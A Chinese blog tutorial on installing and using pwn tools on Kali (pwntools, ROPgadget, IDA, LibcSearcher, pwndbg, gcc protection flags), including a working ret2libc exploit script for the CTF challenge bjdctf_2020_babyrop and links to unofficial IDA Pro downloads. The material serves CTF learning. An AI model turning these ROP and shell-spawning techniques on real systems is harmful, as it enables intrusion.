【pwn】01.常用工具的安装和使用(kali)

小编的环境是kali,所以以kali 2025.2的版本的安装为例(当然做pwn最好还是用ubuntu之类的,kali主要是小编比较喜欢用而已)。
只介绍一些常用的,基础的工具。等后面深入学习后我会接着补充(目前还没学到堆,所以没有相关的知识点)。
工具使用的代码和命令也只是收集小编在做题当中用到过的。

由于篇章比较长,写错部分还望提醒。

首先记得apt采用国内的源(我觉得阿里的源比较好用),并且更新一下,后面要用。

sudo apt update 

配置python虚拟环境

新版kali不能直接用pip来安装第三方库。这里我采用python的虚拟环境(我觉得还不错)。
其他方法请参考:Kali Linux最新版本下无法直接pip安装?教你四招完美解决‘externally-managed-environment’报错!

创建一个 pwn/venv 作为我们的工作环境(当然可以在pwn这个文件夹里放一个python的镜像源的文件,要的时候拿出来用)

mkdir pwn
cd pwn
mkdir venv

创建python的虚拟环境:

python3 -m venv ./venv

# 激活虚拟环境
source ./venv/bin/activate

pip install pwntools -i https://pypi.mirrors.ustc.edu.cn/simple/

# 退出虚拟环境
deactivate

在这个虚拟环境下就可以调用我们安装的第三方库了。同时不会破坏kali本身的环境。
image

pwntools

安装

# 直接安装
sudo apt install python3-pwntools

# 在虚拟环境里安装
pip install pwntools -i https://pypi.mirrors.ustc.edu.cn/simple/

使用

(payload是我们给程序注入的数据,用于利用二进制漏洞)

# 导入
from pwn import *

# ===连接程序===
io = process("./pwn") # 本地连接
io = remote("node5.buuoj.cn",29568) # 远程连接

# ===发送数据===
io.send(payload) # 简单发送数据
io.sendline(payload) # 后面会带一个换行符\n
io.sendlineafter(b'xxx',payload) # 收到xxx消息后发送payload,后面也会带一个\n

# ===接收数据===
io.recv(4) # 接收4字节数据
io.recvline() # 接收直到换行符\n
io.recvuntil(b'xxx') # 接收直到xxx消息为止
io.recvuntil(b'xxx',drop=True) # 接收直到xxx消息为止并丢弃换行符\n
io.recvall() # 一直接收,直到文件结束EOF

# ===与sh交互===
io.interactive()

# ===payload构造===
payload = p64(0x401186) # 用于将整数转换为64位小端序字节串
payload = u64(b'\x15\x86') # 用于将64位小端序字节串转换为整数
payload = p32(0x401186) # 用于将整数转换为32位小端序字节串
payload = u32(b'\x15\x86') # 用于将32位小端序字节串转换为整数
payload = cyclic(60) # 生成60个垃圾数据
payload = flat([b'a' * 64,0x401186]) # 相当于b'a' * 64 + p32(0x4001186)

# ===调试===
context.log_level = 'debug' # 可以查看发送和接收信息
context(arch='i386'.os='linux',log_level='debug') # 同上,只不过细化了配置信息
raw_input() # 拦截程序,等待手动输入,类似input

# ===构造shellcode===
shellcode = shellcraft.sh() # 创建32位后门函数
shellcode = asm(shellcraft.sh()) # 将汇编代码转成机器码

# 创建64为后门函数
context.arch='amd64'
context.os='linux'
shellcode = shellcraft.sh()

# ===分析elf文件===
elf = ELF("./pwn") # 初始化ELF类,该类里封装了有关ELF文件的信息
bin_sh = next(elf.search(b'/bin/sh')) # 查找指定字符串,并返回地址。记得加next()
sh = next(elf.search(b'sh\x00')) # 查找指定字符串,并返回地址,并进行00截断
puts_got = elf.got["puts"] # 查看got表里指定函数
puts_plt = elf.plt["puts"] # 查看plt表里指定函数
main = elf.symbols["main"] # 查找指定函数的地址

发送的选择

有时候没有用好发送和接收,会导致程序打不通,所以要注意这个点。
具体看这篇文章:探究pwntools中sendline的回车所造成的影响(什么时候用sendline,什么时候用send)

  • read函数会把换行符\n也一起读取
  • gets函数以换行符\n结束,并舍弃换行符\n
  • scanf函数从第一个非空白字符(空格,换行,制表符)开始读入,直到下一个换行符为止,并且包括换行符
    简单来说,通常情况下,read用send,gets和scanf用sendline。

ROPgadget

这个工具用于查询对应指令,通常搜索pop,ret指令,利用ROP思想,实现后门函数拼接构造。
安装
经测试,在下载LibcSearcher的时候,就会携带一个ROPgadget,所以也不需要额外安装了。

# 虚拟环境下
pip install ROPgadget

使用

┌──(kali㉿kali)-[~/桌面/attack]
└─$ ROPgadget --binary "level2_x64" --only "pop|ret"             
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400560 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004a1 : ret

Unique gadgets found: 11

可以配合grep来使用

┌──(kali㉿kali)-[~/桌面/attack]
└─$ ROPgadget --binary "level2_x64" --only "pop|ret" | grep "rdi"
0x00000000004006b3 : pop rdi ; ret

checksec

安装pwntools后自带的,不过由于新版kali环境和python环境隔开,所以需要单独下载。
安装

sudo apt install checksec

由于现在在kali安装的checksec都是新版的,长这样:
image
虽然多出来一些新的选项,但是排版很乱。

所以在kali里使用checksec可以使用其他方式(pwntools的ELF,gdb的checksec命令等)。
image

IDA

安装

为了方便,这个就不在kali里安装了,在主机(windows)里安装,不然找linux版挺累的。

由于官网是国外的,正常情况下官网的免费版很难打开,只能另寻他路。
下载并安装IDA Pro 7.0_ida pro下载安装-CSDN博客
虽然上面这个有32位和64位的,但版本比较低,所以32位的用上面这个,

64位的用下面这个(不知道为什么这个没有带32位程序):
IDA v8.4.240215 Free & Demo & sdk_tools - 吾爱破解 - 52pojie.cn

使用

面向萌新向,内容比较多,还请别嫌烦(当然最好是看网课之类的学好点)。。。
打开IDA
image
image
image
image

左边函数栏里粉色的代表是一个函数符号(就是函数的plt表),需要用动态链接库来解析,不是完整的函数体。
平时可以用这个来判断该程序是动态链接的还是静态链接的(看有没有粉色的)
该栏目可以扩大一些,可以看到里面还有一些地址,长度等信息
image

快捷键:空格
可以查看全部的汇编指令
image

快捷键:Tab键 或 F5
双击左边main函数,按住Tab键,就可以将指定函数反汇编成C语言。
image

快捷键:shift + F12
点击中心区域,按住shift + F12,可以查看程序里含有的字符串,双击指定字符串就可以看到其真实地址了。
image
image

快捷键:Alt + T
用于查询文本
image
image

可以选择最后一个选项,就可以得到下面的信息。
image
image

其他选项可以慢慢尝试

选中一个数字,右键
可以将数字转换为10进制(Decimal),8进制(Octal),16进制(Hexadecimal)
image

修改变量名
选择一个变量,右键(或按N)
image
image

查看堆栈
双击变量名,如果不是全局变量(即不跳转到.bss段),就可以看到这个函数的栈
image

通常s表示ebp或rbp,r表示返回地址。

Objdump

用于将二进制程序进行反汇编并查看文件的一些内容。一般gdb和pwntools也够用了,这个了解即可。

// 查看pwn文件的text段的内容
objdump --section=.text -S pwn

// 反汇编pwn中的text段内容,j是--section的缩写
objdump -j .text -S pwn

// 反汇编pwn的源代码,也可以用-S
objdump -d pwn

// 反汇编并以intel风格
objdump -d -M intel pwn

// 查看文件的头部信息摘要
objdump -f pwn

// 查看文件所有的节
objdump -h pwn

// 显示可用的架构和目标结构列表
objdump -i

// 显示文件符号表入口
objdump -t pwn

// 反汇编特定函数
objdump -d -M intel --disassemble=main example.o

LibcSearcher

安装

安装有两种,一种本地(推荐这个),一种云端:
本地:

git clone https://github.com/lieanu/LibcSearcher.git

cd LibcSearcher

# 虚拟环境里
pip install setuptools
sudo python setup.py install

云端:

# 在虚拟环境里
pip install LibcSearcher

推荐本地的是因为本地选择libc比较精确,云端的需要联网并且选项太多,并且大多数都无法打通。
缺点就是本地的需要程序移到LibcSearcher的目录下面(即当前目录必须有个LibcSearcher或LibcSearcher.py),不然识别不到LibcSearcher模块。
但可以用这种方式解决(即利用python调用本地模块,下面是python调用任意位置模块的方法):

import sys
sys.path.append(r"../tools/LibcSearcher")
import LibcSearcher

由于LibcSearcher使用的libc数据库里面大多是ubuntu的,所以kali在本地调试libc的题可能会找不到对应的libc。
解决方法:来到LibcSearcher/libc-database/

rm -rf *
git clone https://github.com/niklasb/libc-database
# 把LibcSearcher/libc-database/libc-database/里的东西全拖到LibcSearcher/libc-database里
./get kali # 请保持网速畅通,预留好时间,可能要下很久很久。卡住了就ctrl+c终止,然后再来一遍

使用

from LibcSearcher import *

# 根据页查找对应数据库
libc = LibcSearcher("puts",puts)

# 计算基址偏移量
libc_base = puts - libc.dump("puts")

system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")

除了LibcSearcher来查找libc版本,也可以用以下两个网址来查找
可以通过泄露出来的地址的页(就是地址后3位)和函数来查询

  • https://libc.blukat.me/
  • https://libc.rip/
    第一个使用方式如下
  • 先根据页查找对应函数:
    image
  • 选择右边一个libc版本
    image
  • 点击我们查找的puts,就可以看到其他函数和puts的偏移量Diffence,offset是关于基址的偏移量
    image
# 已知puts的真实地址
system = puts - 0x2ad20
bin_sh = puts + 0x11df5a

ldd

kali自带,用于查询程序使用到的libc
image
image

one_gadget

用于在libc里查找gadget
安装:

sudo apt insatll ruby
sudo gem install one_gadget

使用:

one_gadget libc.so

小编目前做题没有用到过,可能是因为我习惯手搓吧。

调试

因为题目给的文件通常是在linux下,所以一般在linux下进行本地调试。

安装

安装gdb

sudo apt install gdb

安装pwndbg(gdb的插件,也有pwngdb,peda等,不过我习惯用pwndbg)

git clone https://github.com/pwndbg/pwndbg

cd pwndbg

./setup.sh

常用gdb命令

# ===调用shell命令===
pwndbg>shell ls

# ===断点===
pwndbg>b main # 断在指定函数位置
pwndbg>b *main+5 # 断点在main+5的位置
pwndbg>b *0x0x401186 # 在指定地址断点
pwndbg>b 7 # 断在程序的第7行代码(一般只有本地编译的程序才有,即gcc -g test.c)
pwndbg>d 1 # 删除断点,1是序号,即你断点的顺序,可以在info b中查看
pwndbg>clear # 删除所有断点

# ===查看===
pwndbg>show version # 查看gdb版本信息
pwndbg>info b # 查看所有断点
pwndbg>info functions # 查看所有函数
pwndbg>info sharedlibrary # 查看共享链接库
pwndbg>info sharedlibrary hiredi* # 查看指定共享链接库,可以用前缀 + * 匹配
pwndbg>vmmap # 打印虚拟内存映射页
pwndbg>backtrace # 打印当前函数的调用关系
pwndbg>plt # 查看plt表内容
pwndbg>got # 查看got表内容
pwndbg>stack 24 # 查看栈,数字表示查看栈帧数
pwndbg>heap # 查看堆
pwndbg>disassemble main # 查看指定函数的汇编代码

pwndbg>p fun_name # 打印函数地址
pwndbg>p &a # 查看变量a的地址
pwndbg>p 0x10-0x08 # 计算0x10-0x08的结果
pwndbg>p *(0x123456789) # 查看指定地址指向的值
pwndbg>p $rdi # 查看寄存器存放的地址
pwndbg>p *($rdi) # 查看rdi存放的地址指向的值

# ===运行===
pwndbg>r # 运行程序
pwndbg>r < payload.dat # 运行程序并输入指定payload
pwndbg>n # 执行下一步指令
pwndbg>c # 执行到下一个断点处
pwndbg>s # 调试过程中进入当前使用的函数
pwndbg>q # 退出调试程序
pwndbg>call main() # 直接执行函数
pwndbg>start # 从程序入口开始执行函数
pwndbg>return # 返回到父函数

x命令使用规则:
格式:x/<n/u/f>
以addr为起始地址,返回n个单元,每个单元对应u个字节,输出格式是f
如:x/3uh 0x54320 表示:以地址0x54320作为起始地址,返回3个单元的值,每个单元有2个字节,输出格式为无符号16进制。

  • 第一个参数n需传入正整数,表示需要显示的内存单元的个数。(可省略,默认1个)
  • 第二个参数u值以多少个字节作为一个内存单元,默认为4(b=1bytes,h=2bytes,w=4bytes,g=8bytes)(可省略)
  • 第三个参数f表示将addr执行的内存内容以什么格式输出,参数值如下:
    • s --> 字符串
    • x --> 十六进制
    • d --> 十进制
    • u --> 十六进制无符号类型
    • o --> 八进制
    • l --> 二进制
    • a --> 十六进制
    • c --> 字符格式
    • f --> 浮点数格式
  • 第四个参数addr表示指向一片内存地址
# 示例
x/gx 0x7fffffffde40-0x7fffffffde31 # 计算偏移量

exp调试

目前我学到的有两种方式:
第一种
在调试之前,为了能够调试攻击脚本,所以我们先编写一个dat文件

#!/bin/python
from pwn import *

val = 0x41348000
payload = b'a' * 44 + p64(val)

with open("./payload.dat",'wb') as f:
    f.write(payload)

然后在运行调试程序的时候,就执行:

pwngdb>r < payload.dat

就可以调试我们编写的payload了。

缺点:好像只能调试一个payload。

第二种
在原来的exp.py上,在每一条payload发送之前,加上raw_input()
下面是一个远程能够打得通,本地打不通的程序(因为环境不同),我们可以调试一下为什么

点击查看代码
import sys
sys.path.append(r"../tools/LibcSearcher")
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

elf = ELF("./bjdctf_2020_babyrop")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
pop_rdi_ret = 0x400733

# 选择本地调试或远程连接
io = process("./bjdctf_2020_babyrop")
# io = remote('node5.buuoj.cn', 29435)

# 第一次payload:泄露puts真实地址
raw_input() # 暂停脚本,方便调试时附加调试器等操作(手动按回车继续)
payload = b'a' * (0x20 + 8)
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(main)
io.recvuntil(b"story!\n")
io.sendline(payload)

# 解析泄露的puts地址,查找libc并计算关键地址
puts = u64(io.recvuntil(b"\x7f").ljust(8, b"\x00"))
print(hex(puts))

libc = LibcSearcher("puts", puts)
libc_base = puts - libc.dump("puts")
system = libc.dump("system") + libc_base
bin_sh = libc.dump("str_bin_sh") + libc_base

# 第二次payload:获取系统权限
raw_input()
payload = b'a' * (0x20 + 8)
payload += p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.recvuntil(b"story!\n")
io.sendline(payload)

# 获取交互shell
io.interactive()

先分左右屏,一遍运行exp.py,另一边调试程序。分屏可以右键终端,就可以看到这个选项
image

运行exp.py,可以发现有个进程号,9275
image

用gdb调试这个进程,用gdb attach 9275
image

接下来在gdb里断点调试,在IDA里分析可知该程序都在vuln里运行的
所以我们断在vuln,*vuln+6的位置(两个在vuln的断点,确保我们能呆在vuln里)
image

接下来右边用c命令执行到下一个断点处,在左边回车一下
image

为了看到read之后的栈如何,我们在*vuln+45(即nop的位置)打个断点,再输入c。左边选择第一个动态链接库,回车
image

看一下栈,rbp被覆盖为'a' * 8,返回地址被覆盖为pop_rdi_ret,接下来是/bin/sh和system,和我们的payload和预期的一致。
image

接下来右边再输入c命令,结束程序,看看卡在哪里
image

这个算是栈平衡(栈对齐)的知识,

movaps xmmword ptr [rsp + 0x50],xmm0 <[0x7fff09afccb8] not aligned to 16 bytes>

大致意思就是rsp + 0x50不是16的倍数,也就是rsp不是16的倍数,即通过我们的payload,导致栈顶不是16的倍数。
那我们需要修改我们的payload长度来间接修改rsp的地址(因为payload发过去本身就是参数,会修改rsp,其次是push和pop会修改rsp的值)

常用的方式就是用ret(也可以用main+1之类的,因为跳过了函数push rbp,所以也间接改了rsp)
image

可以看出第一个payload发送出去后,rsp的地址末尾将会是8,因此我们可以在payload中加上一个ret
image

再次运行exp.py,发现本地也打通了。证明总体思路是没问题。
image

编译

有时候对一些不懂的东西,可以在本地编译并调试,自己慢慢探究出来的。所以学会编译和调试很重要。
安装:

# kali自带gcc

# 可以在64位系统上编译32位程序
sudo apt install gcc-multilib
gcc -g test.c # 调试时显示C语言代码
gcc -o test.c test # 编译后指定文件名,默认a.out
gcc -no-pie test.c # 不打开PIE地址随机化
gcc -static test.c # 静态链接,默认动态链接
gcc -fno-stack-protector test.c # 关闭栈保护
gcc =z execstack test.c # 关闭栈不可执行(NX)
gcc -z norelro test.c # 关闭RELRO
gcc -z lazy test.c # 打开部分RELRO,默认
gcc -z now test.c # RELRO全部打开
gcc -fstack-protector-all test.c # 打开栈保护
gcc -z noexecstack test.c # 栈不可执行
gcc -pie test.c # 打开PIE
gcc -m32 test.c # 编译为32位程序
gcc -m64 test.c # 编译为64位程序,默认

分析elf文件

file a.out # 可以判断是静态链接还是动态链接等。

image

readelf -h a.out # 查看elf文件头

image

readelf -l a.out # 查看elf的段表

image

readelf -S a.out # 查看elf的节表

image

posted @ 2025-06-30 12:58  星冥鸢  阅读(152)  评论(0)    收藏  举报